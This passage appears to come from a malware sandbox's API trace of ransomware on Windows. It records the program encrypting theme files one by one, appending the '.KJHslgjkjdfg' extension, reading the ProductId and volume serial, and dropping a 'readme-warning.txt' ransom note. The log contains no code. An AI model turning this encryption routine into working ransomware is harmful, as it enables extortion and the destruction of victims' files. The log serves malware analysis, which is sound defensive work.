CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.179] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.179] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb20e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xb20e, lpOverlapped=0x0) returned 1 [0175.180] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb210, dwBufLen=0xb210 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb210) returned 1 [0175.181] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.181] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb210, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xb210, lpOverlapped=0x0) returned 1 [0175.181] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.181] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.181] SetEndOfFile (hFile=0x12c) returned 1 [0175.182] GetProcessHeap () returned 0x990000 [0175.182] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.182] GetProcessHeap () returned 0x990000 [0175.182] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.kjhslgjkjdfg")) returned 1 [0175.187] CloseHandle (hObject=0x12c) returned 1 [0175.187] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0175.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.188] GetProcessHeap () returned 0x990000 [0175.188] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.188] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.188] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.188] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0175.189] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.189] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.189] GetProcessHeap () returned 0x990000 [0175.189] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.189] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.189] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.189] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.189] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.189] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.190] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.190] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.190] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.190] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.190] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.190] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.190] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x24b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x24b, lpOverlapped=0x0) returned 1 [0175.190] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250, dwBufLen=0x250 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250) returned 1 [0175.190] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.190] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x250, lpOverlapped=0x0) returned 1 [0175.190] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.190] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.190] SetEndOfFile (hFile=0x12c) returned 1 [0175.193] GetProcessHeap () returned 0x990000 [0175.193] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.193] GetProcessHeap () returned 0x990000 [0175.193] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.kjhslgjkjdfg")) returned 1 [0175.196] CloseHandle (hObject=0x12c) returned 1 [0175.196] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0175.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.196] GetProcessHeap () returned 0x990000 [0175.196] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.196] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.196] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.196] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0175.199] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.199] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.199] GetProcessHeap () returned 0x990000 [0175.199] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.199] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.199] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.199] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.199] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.200] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.200] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.200] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.200] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.200] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.200] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4162, lpOverlapped=0x0) returned 1 [0175.201] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4170, dwBufLen=0x4170 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4170) returned 1 [0175.201] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.201] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4170, lpOverlapped=0x0) returned 1 [0175.201] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.202] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.202] SetEndOfFile (hFile=0x12c) returned 1 [0175.203] GetProcessHeap () returned 0x990000 [0175.203] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.203] GetProcessHeap () returned 0x990000 [0175.203] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0175.206] CloseHandle (hObject=0x12c) returned 1 [0175.206] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0175.206] GetProcessHeap () returned 0x990000 [0175.206] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.209] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.209] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0175.209] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.209] GetProcessHeap () returned 0x990000 [0175.209] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0175.209] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.209] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0175.209] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.210] GetProcessHeap () returned 0x990000 [0175.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0175.210] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.210] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0175.210] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.210] GetProcessHeap () returned 0x990000 [0175.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0175.210] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.210] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0175.210] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.210] GetProcessHeap () returned 0x990000 [0175.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.210] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.210] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0175.210] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.210] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0175.211] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0175.211] RegCloseKey (hKey=0x12c) returned 0x0 [0175.211] GetProcessHeap () returned 0x990000 [0175.211] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0175.211] GetProcessHeap () returned 0x990000 [0175.211] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.211] GetProcessHeap () returned 0x990000 [0175.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.211] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.211] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0175.211] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.211] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0175.211] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0175.212] GetProcessHeap () returned 0x990000 [0175.212] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.212] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0175.212] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0175.212] GetProcessHeap () returned 0x990000 [0175.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0175.212] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\readme-warning.txt") returned 82 [0175.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.217] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0175.218] CloseHandle (hObject=0x12c) returned 1 [0175.218] GetProcessHeap () returned 0x990000 [0175.218] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0175.218] GetProcessHeap () returned 0x990000 [0175.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0175.219] GetProcessHeap () returned 0x990000 [0175.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0175.219] GetProcessHeap () returned 0x990000 [0175.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.219] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0175.219] GetProcessHeap () returned 0x990000 [0175.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0175.219] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1 [0175.219] GetProcessHeap () returned 0x990000 [0175.219] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b0940 [0175.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0175.219] GetProcessHeap () returned 0x990000 [0175.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0175.220] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0175.220] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0175.220] GetProcessHeap () returned 0x990000 [0175.220] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b1eb0 [0175.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.220] GetProcessHeap () returned 0x990000 [0175.220] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.220] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.220] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.220] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0175.231] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.231] 